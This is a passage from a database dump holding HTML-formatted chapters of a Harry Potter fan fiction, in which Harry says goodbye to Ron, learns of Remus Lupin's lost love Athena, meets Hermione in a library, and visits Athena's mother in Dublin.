early?&quot;<br>\n<br>\n&quot;Hello, Rosmerta.&quot; He grinned back, seating himself on a stool. &quot;I\'m meeting Ron\nin a bit...&quot;<br>\n<br>\n&quot;Oh,&quot; She replied, her cheerful expression fading to one of concern. &quot;Everything all\nright with you two, and your umm, *situation*?&quot;<br>\n<br>\nHarry let out a hearty laugh. &quot;I take it Sirius has told you?&quot;<br>\n<br>\n&quot;Once or twice.&quot; She winked.<br>\n<br>\n&quot;Since we are on the subject, how are things with you and *Padfoot* going?&quot;<br>\n<br>\n&quot;Harry Potter! Is that really any of your business?&quot; <br>\n<br>\n&quot;Rosmerta, you are talking to The Boy Who Lived, remember? My entire life has\nbeen everybody else\'s business. It\'s only fair that I get to hear some gossip, too.&quot;\nHe teased as he removed his cloak. &quot;Besides, considering the fact that my love life\nis in dire straits, it would be nice to hear that those closest to me are happy.&quot;<br>\n<br>\n&quot;Is that a nice way to be nosey?&quot; She smirked at him.<br>\n<br>\n&quot;You see it as being nosey, I see it as living vicariously.&quot;<br>\n<br>\nShe giggled at his comments. &quot;You sure are a smooth talker, Harry. Reminds me a\nlot of your Father.&quot;<br>\n<br>\nHarry grinned widely, it always made him happy to hear people compare him to\neither of his parents. &quot;Really?&quot;<br>\n<br>\n&quot;Really.&quot; She nodded, &quot;And if you must know, things between Sirius and I couldn\'t\nbe better. I just hope things work out for you. You\'ve really got your Godfather\nworried about you, Harry.&quot;<br>\n<br>\n&quot;I\'ll be fine.&quot; He answered assuringly, &quot;The next few years without will be tough,\nbut I have Auror training, Remus, Sirius, You, Hagrid, and all to get me through it,\nand Ron&#8230;&quot;<br>\n<br>\n&quot;And speak of the Devil!&quot; Rosmerta beamed as the youngest Weasley soon walked\nthrough the front door.<br>\n<br>\n&quot;Hello Rosmerta, Harry.&quot;<br>\n<br>\n&quot;Hello, Ron.&quot; Rosmerta replied, as did Harry. &quot;What can I get you boys to drink?&quot;<br>\n<br>\n&quot;A Butterbeer, please.&quot;<br>\n<br>\n&quot;Same for me, thanks.&quot;<br>\n<br>\n&quot;Coming right up!&quot; Rosmerta smiled as she headed off for the drinks and the two\nyoung men sat down at a nearby table.<br>\n<br>\n&quot;So how are you, Ron?&quot; Harry asked, &quot;I got your owl saying you had some news to\ntell me in person, so what\'s up.&quot;<br>\n<br>\n&quot;Well,&quot; He said, the smile on his face glowing even more, &quot;I\'ve had an offer from a\nQuidditch team as a backup Keeper. The Bigonville Bombers. It\'s not the Chudley\nCanons, but it\'s a start!&quot; <br>\n<br>\n&quot;That\'s great!&quot; <br>\n<br>\nHarry beamed, extremely happy for his best friend\'s accomplishment. During the\nsummer between fourth and fifth year, Ron had a huge growth spurt. He\'d always\nbeen tall, but when he returned to Hogwart\'s that September he was a towering\nSix foot four inches, and had developed a very burly build, not to mention quite a\ntalent for playing Quidditch. He replaced Oliver Wood as Gryffindor\'s Keeper, and\neven tied his record with 133 consecutive saves. He probably would have done\neven better had Draco Malfoy not sent a rogue Bludger at his head, rendering him\nunconscious for first two games of seventh year. He did recover in time for them to\nbeat Slytherin for the school\'s Quidditch Cup. <br>\n<br>\nRon hadn\'t only grown physically in his last three years at Hogwarts, but\nemotionally as well. He\'d worked on his jealousy issues, and started paying more\nattention to schoolwork. He even managed to work on his fear of spiders. He\novercame a lot of his flaws and still managed to maintain the humor and loyalty\nthat made him such a fantastic friend. These changes were in large part do to\nHermione. She had a remarkable way of pulling them back in when they were\nabout to go too far. Her instincts and intelligence helped enlighten the two young\nmen on so many levels. The more he thought about all of the wonderful things\nshe\'d done for he and Ron over the last seven years, the more he began to miss\nher. She was their rock, and without her there, they didn\'t seem as infallible as\nthey had at Hogwarts. <br>\n<br>\n&quot;Harry?&quot; Ron called out, waving his hands in front of the young wizard\'s entranced\nface. &quot;Are you listening to me, mate?&quot;<br>\n<br>\n&quot;Sorry,&quot; Harry said, shaking his head as he came back from his thoughts of\nHermione. &quot;What were you saying?&quot;<br>\n<br>\n&quot;I said thanks. It\'s going to be rough without seeing you and the rest of the gang,\nbut I figure if I can survive without Hermione, I can make it on my own for awhile.&quot;<br>\n<br>\n&quot;Holy Cricket, I hadn\'t thought of that.&quot; Harry sighed, realizing that he was going\nto be losing not one, but two best friends. &quot;What am I gonna do without both of you?&quot;<br>\n<br>\n&quot;You\'ll be fine, Harry.&quot; Ron assured him, sipping the Butterbeer that Madam\nRosmerta had brought to the table while Harry was daydreaming. &quot;You\'ve always\ndone well when facing a challenge. I have no doubt that you will be nothing less\nthan a great Auror, just as Hermione will master teaching Arithmancy. It\'s *me*\nthat I worry about.&quot;<br>\n<br>\n&quot;Why would you say that? You\'re a great wizard and a bloody good Keeper, too.\nYou\'re going to do just fine.&quot;<br>\n<br>\n&quot;Maybe.&quot; He shrugged, not as certain as his best friend. &quot;It won\'t be easy trying to\nfind who Ron Weasley is out of the shadow of his brothers, and Harry Potter.&quot;<br>\n<br>\n&quot;Don\'t say that!&quot; Harry insisted, his voice rising slightly. &quot;You\'ve done well for\nyourself, Ron. You were a Quidditch success, you scored a 10 on your O.W.L.S., you\neven passed Potions with a higher percentage than I did! You weren\'t hidden in my\nshadow, you were beside me as my equal.&quot;<br>\n<br>\n&quot;First of all, I scored *one* point higher than you in potions. Secondly, thanks for\nhaving the confidence in me that I lack.&quot; He grinned, watching as his best friend\ncalmed down.<br>\n<br>\n&quot;You\'re welcome.&quot; Harry said as he held up his Butterbeer, &quot;Here\'s to Aurors,\nArithmancy, Quidditch Keepers, and the trio\'s success!&quot;<br>\n<br>\n&quot;I\'ll drink to that!&quot; Ron laughed, as he gulped some Butterbeer and then turned to\nlook at the clock above the bar. &quot;Bloody hell, look at the time! My train to\nBigonville leaves in an hour!&quot;<br>\n<br>\n&quot;Well, you better get going then.&quot; Harry said sadly as he got up from his seat. &quot;You\ntake care of yourself, Weasley. And don\'t get too bloodied up out there.&quot;<br>\n<br>\n&quot;I could say the same for you, Potter. Being an Auror isn\'t safe job, so I want you\nto promise me one thing?&quot; Ron asked in a serious tone. <br>\n<br>\n&quot;I know, I know, I\'ll be careful.&quot; Harry answered rolling his eyes. He\'d made this\npromise seven times already.<br>\n<br>\n&quot;Actually, I was going to tell you to ask Moody how to do that Ferret trick. It\'d be\nnice to see Draco as one again, not to mention the devil incarnate Lucius and his\nwife who looks like someone hit her with a Medusa hex, but I want you to be\ncareful, too.&quot; He teased, as he pulled on his cloak and sighed. &quot;I guess this is so\nlong then.&quot;<br>\n<br>\n&quot;Good luck, Ron, and keep in touch.&quot; Harry said sadly, as he embraced his dear friend.<br>\n<br>\n&quot;Owls work both ways you know.&quot; He reminded as he broke from their hug. &quot;I\nwanna hear all about the no good Death Eaters you send to Azkaban.&quot;<br>\n<br>\n&quot;Only, after you break the goal blocking record.&quot;<br>\n<br>\n&quot;Deal. Well, I better go to the burrow and say farewell to Mum, Dad, and the gang.\nSee you soon!&quot;<br>\n<br>\nAnd with a pop, he was gone. For the second time in a fortnight, Harry felt a sense\nof emptiness overcome him. Not only had he had to let go of Hermione, but now\nRon was gone, too. Things were going to be much lonelier as a solo act.</p>\n<p style="text-align: center; margin-bottom: 0.0691667in; margin-top: 0.0691667in">1. *~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n<p style="margin-bottom: 0.0691667in; margin-top: 0.0691667in">&quot;There he is now, Auror Extraordinaire!&quot; Sirius Black mused, as he and Remus\nLupin entered The Three Broomsticks and caught sight of a moping Harry. <br>\n<br>\n&quot;What are you two doing here?&quot; Harry asked, surprised to see the both of them.<br>\n<br>\n&quot;Do you *really* have to ask that?&quot; Remus laughed, nudging Sirius as he pointed\nto Rosmerta, who was very delighted to see who had just entered the bar.<br>\n<br>\n&quot;Ah, silly me.&quot; He grinned, winking at Lupin as Sirius flirted shamelessly with\nRosmerta from across the room, &quot;Here to uh, *admire* the scenery, are we?&quot;<br>\n<br>\n&quot;And what a sight it is,&quot; Sirius smirked, slowly turning his head back to the table.\n&quot;But actually, we came to cheer you up. This came for you this morning.&quot;<br>\n<br>\nHarry smiled widely as Sirius handed him a letter with Hermione\'s handwriting on\nthe envelope. He tore into it ferociously, desperate to read her words. After all, it\nwas all he had to hold him over for the next five years<br>\n<br>\n<i>My dearest Harry,<br>\n<br>\n</i><i>I received word from Ron yesterday that he will be leaving to join a Professional\nQuidditch team. While I am happy that he is living his dreams, I realize that this\nhas to be difficult for you. You\'ve been through so much lately and I know that you\nhave Sirius, Remus, Dumbledore, and Auror training to keep you going, but I can\'t\nhelp but worry. Please remember that even though I can\'t be there in body right\nnow, I am forever in your heart as you are in mine. <br>\n<br>\nI hope to hear from you soon and that you will tell me I am just being paranoid as\nusual. You are a strong and courageous person, it\'s foolish to believe you can\'t\nsurvive on your own, but you know me, always the one to worry.<br>\n<br>\nTake care, and please keep in touch.<br>\n<br>\nLove Always,<br>\nHermione<br>\n<br>\nP.S. Send my best to Sirius and Remus.<br>\n</i><br>\nHarry\'s heart sank as he read her words. She knew him so well, even in her state of\ndenial. Yes, he\'d been on his own before, but having her and Ron by his side for the\nlast seven years had made him selfish. He needed them desperately, especially\nHermione. <br>\n<br>\n&quot;She sends her best.&quot; Harry sighed, putting the letter away and gulping his Butterbeer.<br>\n<br>\n&quot;It\'ll be all right, Lad.&quot; Remus said reassuringly, as he placed a comforting hand on\nhis shoulder.<br>\n<br>\n&quot;Remus\' right, Harry.&quot; Sirius agreed, once again watching intently as Rosmerta\nwaited on customers across the room. &quot;You aren\'t the first wizard stuck in a love\ntriangle, ya know.&quot;<br>\n<br>\n&quot;You sound like an expert.&quot; Harry answered in a snarky tone. &quot;What do you know\nabout it?&quot;<br>\n<br>\n&quot;Plenty.&quot; Sirius replied, &quot;Do you know the name of the first girl I had a crush on at Hogwarts?&quot;<br>\n<br>\n&quot;No.&quot; He shook his head, not interested in hearing anything right now.<br>\n<br>\n&quot;Lily.&quot;<br>\n<br>\nHarry\'s jaw dropped as he gazed at Sirius, not believing what he\'d just heard.<br>\n<br>\n&quot;You mean my Mum?&quot;<br>\n<br>\n&quot;Yep, I was smitten with her for about a month, and then...&quot;<br>\n<br>\n&quot;And then what?&quot; Harry asked impatiently.<br>\n<br>\n&quot;And then Farah, Wendy, Lauren, Michelle. Sirius lusted after girls like they were\nBertie Bott\'s jelly beans. One of *every* flavor, and I mean *every* flavor!&quot; Remus\ninterrupted with a grin.<br>\n<br>\n&quot;They didn\'t call me Padfoot for nothing. I got around!&quot; Sirius teased. &quot;In all\nseriousness, Harry. It never would have worked for your Mum and me because she\nwas meant to be with your Father. I knew that from the beginning, I just wish it\nwas as easy for you as it had been for us back then.&quot;<br>\n<br>\n&quot;Thanks, Sirius. I just hope I can get through it.&quot;<br>\n<br>\n&quot;Hey if Remus can, you can, too.&quot; He assured him, as he motioned for Rosmerta.<br>\n<br>\n&quot;What do you mean if Remus can?&quot; Harry asked, intrigued by the comment.<br>\n<br>\n&quot;Nothing!&quot; Remus replied quickly. &quot;He is talking nonsense.&quot;<br>\n<br>\n&quot;Oh, am I?&quot; Sirius laughed, &quot;Rosmerta my love, aside from Lily and James, who\nwas the next biggest couple when we were at Hogwarts?&quot;<br>\n<br>\n&quot;Remus and Athena, of course.&quot; She smiled, as she sat on Sirius\' lap. <br>\n<br>\n&quot;Athena?&quot; Harry repeated, dying to know more about Remus\' mystery girl.<br>\n<br>\n&quot;You know Sirius, you weren\'t only a ladies man, but you were the biggest pain in\nthe ass ever!&quot; Remus answered, a bit perturbed with all this prying into his past.\n&quot;I\'m glad to see you\'ve become a one woman man, but you really should try to\nwork on the second thing. Anyway, I guess there is no denying it now, yes I had a\ngirlfriend at Hogwarts and her name was Athena Helios. We dated from the\nbeginning of sixth year until graduation. I haven\'t seen her since. Is that enough\nfor all of you?&quot;<br>\n<br>\n&quot;Hardly,&quot; Harry responded quickly. &quot;What happened to her?&quot;<br>\n<br>\n&quot;What do you think?&quot; Remus sulked, &quot;I was a werewolf. When the truth came out,\nshe was hurt and I decided it she would be better off without me. She left to teach\nin Ireland and I haven\'t seen her since.&quot;<br>\n<br>\n&quot;Why am I suddenly getting deja vu?&quot; Harry replied, only half kidding.<br>\n<br>\n&quot;Hey Remus, I thought that potion Snape had come up with last year had cured\nyou of being a werewolf?&quot; Rosmerta asked curiously.<br>\n<br>\n&quot;So then, Moony,&quot; Sirius grinned, &quot;Why haven\'t you gone after your Sun?&quot;<br>\n<br>\n&quot;His sun?&quot; Harry questioned.<br>\n<br>\n&quot;Her name meant sun, and his meant moon.&quot; Sirius explained. &quot;You should have\nseen the love letters. They were sappier than a forest full of Maple Trees...&quot;<br>\n<br>\n&quot;I am so glad that the losing the great love of my life entertains you so.&quot; Remus\nshot back unamused. &quot;With friends like you, Sirius, who needs enemies?&quot;<br>\n<br>\nSirius and Rosmerta couldn\'t help but laugh, but Harry\'s mind was too busy\nspinning with ideas to find it funny.<br>\n<br>\n&quot;So why didn\'t you go after her, Remus?&quot; <br>\n<br>\n&quot;What\'s the point? He shrugged. &quot;It was a long time ago, Harry. She\'s probably\nmarried with children by now.&quot;<br>\n<br>\n&quot;But how do you know for sure?&quot; Harry persisted.<br>\n<br>\n&quot;I don\'t, I just...&quot;<br>\n<br>\n&quot;He has a feeling. The Sun and the Moon share a deep connection, you know...&quot;\nSirius quipped, as Rosmerta buried her head in his neck to suppress her giggles.<br>\n<br>\n&quot;You are an insufferable git, you know that, don\'t you?&quot; Remus said, shaking his\nhead hopelessly at the joking Sirius.<br>\n<br>\n&quot;Well, I hate to run, but I have to make a quick stop at the library.&quot; Harry said as\nhe got up from his chair and put on his cloak. <br>\n<br>\n&quot;You really are going through Hermione withdrawal. The library? Going to get\nmisty eyed over all those wizarding books she made you read over the years?&quot;\nSirius teased.<br>\n<br>\nBut Harry paid him no attention. If he couldn\'t work things out for Hermione, he\ncould at least try to help Lupin. He said a quick goodbye and then set out on his\nmission: Operation Sun &amp; Moon. </p>\n\n\n\n'),
	(273, 5, '\n<p style="margin-bottom: 0.0691667in; margin-top: 0.0691667in">Chapter 5- Books &amp; Cleverness<br>\n<br>\n<br>\nThe Artemis Saraswati Library was unusually crowded for a Saturday afternoon. Harry\ninched his way through the masses of wizards that were gathered around the thousands of\nshelves of the only research center in Hogsmeade. It took him a good ten minutes to make\nit to the information desk, and another twenty for him to finally find out what section would\nlead him to information on former Hogwarts students, and most specifically, Athena Helios.<br>\n<br>\n&quot;What House was she in?&quot; The grumpy Librarian asked hastily as her eyes glared at Harry\nabove her half moon glasses.<br>\n<br>\n&quot;Gryffindor.&quot; He replied, as he watched her flip rapidly through a large book in front of her.\n&quot;All right, you\'ll be wanting section G.G. 1970-1980. That will have all of Godric\'s graduates\nfrom that decade. Move along, then.&quot;<br>\n<br>\n&quot;Thank you, Ma\'am.&quot; Harry answered with a gracious smile, but the old woman just scoffed\nand began assisting the next person in line.<br>\n<br>\n&quot;So much for service with a smile.&quot; Harry muttered to himself, as he once again made his\nway through the maddening crowds and in search of Lupin\'s long lost love. <br>\n<br>\n******************************<br>\n<br>\n&quot;G.G. 1930-1940, G.G. 1940-1950,&quot; Harry was whispering to himself as he walked along the\nlong aisles of books searching for the correct section. To his surprise, the Gryffindor area\nwas practically deserted. He\'d only seen a few wizards walking by since he started way back\nin G.G. 1100. <br>\n<br>\n&quot;1960-70, ahh, yes!&quot; Harry exclaimed excitedly as he pulled a large, thick book from the\nshelf and opened its front cover, &quot;A complete listing of the Past and Present Hogwarts\nstudents from 1970-1980. Excellent!&quot;</p>\n<p style="margin-bottom: 0.0691667in; margin-top: 0.0691667in">1. Anxious to begin his search, Harry spun around frantically to find an empty study table,\nonly to collide with a young witch passing by.</p>\n<p style="margin-bottom: 0.0691667in; margin-top: 0.0691667in">&quot;Oh! I am so sorry!&quot; Her apologetic voice cried, as she reached down to pick up the array of\npapers she\'d been carrying which were now scattered across the floor. &quot;I was so busy with\nmy work that I wasn\'t paying attention to where I was walking, please forgive me...&quot;<br>\n<br>\nHarry shook his head in disbelief as he reached down to help pick up the fallen parchment.\nThat voice, that innocent yet seductive voice. That hair, that flowing, silky hair. But it\ncouldn\'t be, could it?<br>\n<br>\nAt that very moment, she looked up at him and all of his minds racing questions were answered.<br>\n<br>\n&quot;Hermione!&quot; <br>\n<br>\n&quot;Harry...&quot; She responded in astonishment. &quot;What are you doing here?&quot;<br>\n<br>\nBut he couldn\'t answer.<br>\n<br>\nThe site of her had left him speechless. It\'d only been two weeks since he\'d seen her last,\nbut somehow; she looked even more beautiful. He watched in awe as she brushed a stray\nhair from her face, as her eyes twinkled and a captivating smile slowly curved onto her full,\nsensuous lips. Hermione didn\'t need a wand, everything about her oozed magic.<br>\n<br>\n&quot;I uhh,&quot; He began, clearing his throat. &quot;I was umm, just doing some research on Remus\' old\ngirlfriend from school, Aphrodisiac.&quot;<br>\n<br>\n&quot;I beg your pardon?&quot; She asked as she gave him a puzzled stare.<br>\n<br>\n&quot;Athena!&quot; He answered quickly, and very loudly as several people turned to stare at him,\n&quot;Athena Helios, yeah sorry. That\'s the one.&quot;<br>\n<br>\n&quot;Are you feeling all right?&quot; She asked worriedly.<br>\n<br>\n&quot;Yes, fine, fine. Just a little surprised to see you here.&quot; He replied as he fidgeted with the\nstring on his cloak and continued gawking at Hermione.<br>\n<br>\n&quot;Now I know you are feeling ill.&quot; She said with a laugh, &quot;You\'re surprised to see *me* in a\nlibrary? If anything, *I* am the one who should be shocked!&quot;<br>\n<br>\n&quot;Not surprised to see you here, just surprised to see *you*.&quot; He said with a nervous grin. <br>\n<br>\n&quot;Well, rest assured this is the *last* place I thought I\'d catch up with you or Ron. It\'s part of\nthe reason I spend so much time here. I figured it\'d be safe. Him being allergic to books,\nand you with the attention span of a blast ended skrewt.&quot;<br>\n<br>\n&quot;God, she was sexy when she was insulting him.&quot; Harry thought to himself as he gave her\nthe once over. Just watching her stand there was causing him to lose all self-control. It was\nat that moment he wished he\'d paid a little more attention when Flitwick was teaching\nComposure Charms.<br>\n<br>\n&quot;Harry, are you sure you aren\'t ill? St. Mungo\'s is just down the road, I can see you there if\nyou\'d like...&quot; Hermione looked at him with concern. She\'d never seen him like this before\nand was really becoming worried.<br>\n<br>\n&quot;No!&quot; He insisted as his voice cracked and she continued to stare at him oddly. &quot;I\'m fine, I\njust really need to help Lupin out. I know he\'s lonely, especially with Sirius being with\nRosmerta now. I\'d like to give him a second chance for love. After all, I know what it\'s to be\nthe third whe-&quot;<br>\n<br>\n&quot;Ahem,&quot; She coughed, in a desperate attempt to change the subject as the awkwardness\nbetween them escalated to an even higher level. &quot;Perhaps I could take a look then? You\nknow research is my specialty, and I just adore Remus. I\'d like to see him happy. I\'d hate\nfor *anyone* to feel like a third wheel.&quot;<br>\n<br>\nHarry nodded as he handed her the book and watched attentively as she began to peruse\nthrough the pages.<br>\n<br>\n&quot;Hmm, Helios, Athena...where could you be?&quot; <br>\n<br>\nBut Harry paid no attention to her words; he was too busy staring at the vision standing\nbefore him. It was hard to imagine that anyone could be so incredibly tantalizing while lost\nin between the covers of a yearbook, but she was. Even the way she turned the pages\ngracefully and gently, was enough to make his mind become so discombobulated that\nsomeone might think he\'d been struck with an extra potent memory charm. Why was he\nstanding here? He suddenly thought to himself as he watched her turn her head so her hair\nwould fall over her shoulder and her nose grimaced in concentration. He wasn\'t worthy to be\nmere inches from this goddess that stood before him. No one was. It was as though\nAphrodite herself had fallen from Mt. Olympus and landed by his side. To be this close to\nsomething so provocative and enchanting would make any man lose his mind. But it was a\nsmall price to pay. Just being in her presence made insanity seem like an eternity in paradise.<br>\n<br>\n&quot;Here she is!&quot; Hermione squealed with delight, causing Harry to back from his trance.\n&quot;Athena Helios, model Gryffindor. Outstanding Prefect, awarding winning Quidditch Chaser,\nscored 13 O.W.L.S., and was loved by all of her teachers and fellow students, but none more\nthan Remus J. Lupin!&quot; Hermione smiled brightly as she grabbed Harry\'s arm and squeezed it\ntightly. &quot;Oh Harry! Isn\'t that romantic! It\'s so uplifting to read a real life love story!&quot;<br>\n<br>\n&quot;Ha, *uplifting*,&quot; Harry laughed nervously as sweat formed on his brow, and he looked\ndown at her hand still clutching him tightly. &quot;Good word. *Very* appropriate.&quot;<br>\n<br>\n&quot;An excellent Potions student, Athena went on to teach the subject at the Blarneystone\nAcademy for Primary Wizarding Education in Dublin and currently resides at 31 Shamrock\nRoad with her Mother, Desmond, and pet cat, Ashling...Oh look!&quot;<br>\n<br>\nShe jumped excitedly, and moved closer to him as Harry felt his heart to pound and his\nmind race. His thoughts stormed through his head, and suddenly and rather strangely the\nmemory of his first potions lessons with Snape overcame him &quot;Bewitch the mind and\nensnare the senses.&quot; He sighed &quot;if only she *knew* the effect she was having on him. It\nwas much stronger than anything he could have ever brewed in a cauldron. She was\nintoxicating and living proof that even The Boy Who Lived had an Achilles\' Heel. <br>\n<br>\n&quot;It\'s Athena and Remus...aren\'t they just precious!&quot; Hermione exclaimed joyously as she\npointed to a black and white picture of the two of them. Remus was smiling happily, his\narms around Athena\'s waist as she looked up at him with complete adoration and her long,\nraven hair flew through the wind. &quot;Oh Harry, you just *have* to find her! They look perfect together!&quot;<br>\n<br>\nHe smiled at her and then studied the picture. They did look as though they were made for\neach other. So happy, so in love. It reminded him of another duo, currently much closer\nthan Remus and Athena.<br>\n<br>\n&quot;I will.&quot; He assured, &quot;I won\'t let him down. He needs her, and I need to see him happy.\nRestore my faith in love a bit.&quot;<br>\n<br>\n&quot;Things always work out in the end, Harry. You have to believe that.&quot; She smiled at him\nthrough her own sadness. &quot;Don\'t lose faith, Potter.&quot;<br>\n<br>\n&quot;I won\'t,&quot; He nodded.<br>\n<br>\n&quot;Good.&quot; She replied with a smile, handing him back the book, &quot;then I guess I better get\ngoing. I only came by to pick up the first few copies of my book, I still have a lot of\npreparation for class before school starts again...&quot;<br>\n<br>\n&quot;Your book?&quot; He asked curiously.<br>\n<br>\n&quot;Yes,&quot; She answered proudly, reaching into her bag and pulling out a rather large textbook\noffering it to Harry. &quot;I didn\'t like any of the other books on Arithmancy, so I decided to write\nmy own.&quot;<br>\n<br>\n&quot;The Alluring Art of Arithmancy, by Hermione Granger&quot; He read aloud with a laugh. &quot;Pretty\nimpressive, but a bit hefty for the first years, don\'t ya think?&quot;<br>\n<br>\n&quot;Nonsense! It\'s only 997 pages long! I read Hogwarts: A History the summer before first\nyear and that was 1,254 pages!&quot; She in a rather defensive tone.<br>\n<br>\n&quot;Hermione, Hogwarts: A History wasn\'t required first year reading. I do think it was on\nFilch\'s list for punishment and torture though...&quot; Harry chuckled.<br>\n<br>\n&quot;Go ahead, laugh it up.&quot; She replied as she stuffed her papers into her bag and folded her\narms across her chest, &quot;You watch how many students come out of that school as clever as I\ndid.&quot;<br>\n<br>\n&quot;I seriously doubt that.&quot; Harry replied with a grin.<br>\n<br>\n&quot;Oh really?&quot; She said, not amused with his sarcasm.<br>\n<br>\n&quot;Really.&quot; He nodded, &quot;I assure you, Professor Granger, that you are *one* of a kind.&quot;<br>\n<br>\n&quot;You know, Harry, *you* should consider teaching.&quot; She blushed.<br>\n<br>\n&quot;And why is that?&quot; He smirked, pleased that he was now the one having an effect on *her*.<br>\n<br>\n&quot;Because you\'ve mastered the art of smooth talking.&quot; She winked.<br>\n<br>\nHe let out a hearty laugh as he handed the book back to her. &quot;I\'ll let you get going then.\nI\'ve got to get ready for Dublin...&quot;<br>\n<br>\n&quot;Wait just a minute.&quot; She said as she reached in her bag to pull out a quill. &quot;I was going to\nsend this as part of your birthday gift, but since you\'re here now.&quot;<br>\n<br>\nTaking the book from his hands, she opened the front cover and took a minute to sign it\nbefore handing it back.<br>\n<br>\n&quot;Autographed, first edition.&quot; He grinned widely. &quot;Imagine all the Silver Knuts I could get if I\ntook this to Flourish and Blotts...Kidding! Just kidding!&quot;<br>\n<br>\nSlapping him gently on the arm, she flashed him a warning grin and then put her quill back\nin her bag.<br>\n<br>\n&quot;It was good to see you, Harry.&quot; She smiled, as she embraced him. &quot;Take care.&quot;<br>\n<br>\n&quot;You, too, Hermione.&quot; He replied as he wrapped his arms around her waist and returned the\nhug. <br>\n<br>\nAfter several moments, she pulled away and ran her hand through his hair, and with a\nsmile, placed a soft kiss on his cheek and disapparated.<br>\n<br>\nIt took him a minute to get his bearings, as she once again had the effect on *him*, but\nwhen he did he quickly opened the book and read the words she\'d written just a few\nmoments ago.<br>\n<br>\n<i>&quot;To Friendship and Bravery-<br>\n<br>\nI know we made a promise to stay away from each other for five years, but serendipitously\n&quot;bumping&quot; into you made my day. Good luck on your journey and rest assured that true\nlove *will* conquer all.<br>\n<br>\nAll My Love,<br>\n<br>\nBooks &amp; Cleverness</i></p>\n\n\n\n'),
	(273, 6, ' <p>Author&#8217;s Note: I am sorry this chapter took so long, I have been extremely busy with work and school. I hope you will enjoy it even though there isn&#8217;t any H&amp;Hr. I promise they are coming in the next chapter which will be out later tonight or hopefully tomorrow. Enjoy!</p>\n\n<br>\n\n\n<p>Chapter 6: Great Loss, Great Love...</p>\n\n<br>\n\n\n<p>&quot;27.....29......31 Shamrock Road, this is it!&quot; Harry exclaimed proudly as he made his way through the gate and up the cobble stone path to the front door.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The home of Athena Helios was small, but very beautiful. It was surrounded by a picket fence, and a garden of exquisite blossoming flowers. It looked like a small cottage straight from a fairy tale, and if Harry had has way, a cottage wouldn\'t be the only thing that Athena and Remus had in common with fairy tales.</p>\n\n<br>\n\n\n<p>&quot;Well, I know you didn\'t come all the way to Ireland to stop and smell the roses, did ya Harry? I haven\'t been there in awhile, but I am almost certain there are some around Godric\'s Hollow. Not as pretty as ours, but a rose is a rose, is it not?&quot; A petite, elderly woman said with a bright smile as she opened the front door and stepped outside.</p>\n\n<br>\n\n\n<p>Harry was startled by her presence, and more shocked by the fact that she had known his name and where he was from.</p>\n\n<br>\n\n\n<p>&quot;How did you know?&quot; He asked curiously.</p>\n\n<br>\n\n\n<p>&quot;Desmond Helios....world renowned Soothsayer.&quot; She teased as she walked closer to where he was standing. &quot;I don\'t know if you know this, Potter, but I think the only person who was is in the Daily Prophet more than you was that stupid git Gilderoy Lockhart before his little accident. The whole wizarding world knows what the Boy Who Lived looks like.&quot;</p>\n\n<br>\n\n\n<p>&quot;Of course,&quot; Harry nodded, &quot;I\'m not one for the glory that comes along that title.&quot;</p>\n\n<br>\n\n\n<p>&quot;Well, you should be. Not enough legendary wizards in your generation if you ask me. You\'re a great example to us all. You\'re hope for a future free of dark magic and destruction.&quot;</p>\n\n<br>\n\n\n<p>&quot;Thank you.&quot; He smiled shyly.</p>\n\n<br>\n\n\n<p>&quot;No need to thank me, boy.&quot; She replied as she made her way back toward the house. &quot;Well, I know you didn\'t come here for a flower show, so I guess you\'ll be wanting to see Athena then? She\'s not home just yet, but I am expecting her shortly..&quot;</p>\n\n<br>\n\n\n<p>&quot;How did you-&quot;</p>\n\n<br>\n\n\n<p>&quot;World renowned Soothsayer, but shhh, it\'s a secret.&quot; She repeated with a wink as she opened the front door and motioned for him to come inside.</p>\n\n<br>\n\n\n<p>*******************************************</p>\n\n<br>\n\n\n<p>&quot;You\'ve got your Mother\'s eyes.&quot; Desmond smiled as she poured Harry and herself a cup of hot tea. &quot;Green as the sea and just as deep. Very honest and compassionate. The rest of you is all James.&quot; </p>\n\n<br>\n\n\n<p>Harry grinned. He loved hearing about his parents, and he loved it even more when people told him that he was like them, whether it his traits or appearance. It wasn\'t easy being without them since he was a year old, but to have them live on in the memories of old friends and acquaintances was always nice.</p>\n\n<br>\n\n\n<p>&quot;Did you know them well?&quot; He asked as he looked down to find a friendly Calico Cat purring at his feet.</p>\n\n<br>\n\n\n<p>&quot;Yes, they spent many summer days and nights here with Remus and Athena.&quot; She nodded, as she watched her precious cat hop onto Harry\'s lap and rub her face against his hand. &quot;Ashling was very found of James, too. Remus got him for Athena at the beginning of seventh year. She was around for many of their antics.&quot;</p>\n\n<br>\n\n\n<p>&quot;So they were mischievous away from Hogwarts as well?&quot; Harry said with a laugh, knowing that he and his Father had shared the same passion for adventure and rule breaking.</p>\n\n<br>\n\n\n<p>&quot;Are you kidding? I can\'t tell you how many cranky ol\' witches and wizards almost burst down my door because those kids had gotten into some sort of trouble. They used to make me so angry, but not for long. Once I saw the guilty looks on their faces, I had to forgive them. I was a softee. All of them had good hearts, just like you do.&quot;</p>\n\n<br>\n\n\n<p>&quot;Are you really a soothsayer?&quot; Harry questioned, in awe of her certainity of his character.</p>\n\n<br>\n\n\n<p>&quot;I was a Divination Professor many years ago, just like Professor Trelawney.&quot; She said rolling her eyes at the mention of Trelawney\'s name. &quot;The only difference between me and that incompetent git is that she\'s been right only twice and I\'ve been wrong....only twice.&quot;</p>\n\n<br>\n\n\n<p>Harry felt a chill run through his body. Divination was not his favorite subject, on the contrary, it was most definitely his least favorite. Professor Trelawney had spent most of the time telling him he was doomed and the rest of the time predicting things that Filch the Squib could have foreseen. He\'d always believed her to be a fraud, except for the one time when another being seemed to momentarily posess her long enough to accurately predict the resurrection of Lord Voldemort. He had heard from Dumbledore that she\'d been right on another occasion, but never knew what that prediction was. Desmond Helios seemed much different than Cybil Trelawney. She didn\'t seem as eager to make such horrific traditions, but rather had a unique ability to see a person through what they truly were. Harry remembered reading once that the eyes were the window to the soul. He got the distinct feeling that Desmond\'s divination capabilities were very similar to that quote.</p>\n\n<br>\n\n\n<p>&quot;You don\'t see things the way she does...do you?&quot; Harry asked nervously as he swallowed a large lump in his throat and proceeded to take a sip of his tea.</p>\n\n<br>\n\n\n<p>&quot;You mean do I see a large Hungarian Horntail making a pot roast out of you next week?&quot; She said with a wink. &quot;No, my visions aren\'t as grave and disconserting as hers, but I do see things that aren\'t pleasant, I won\'t deny 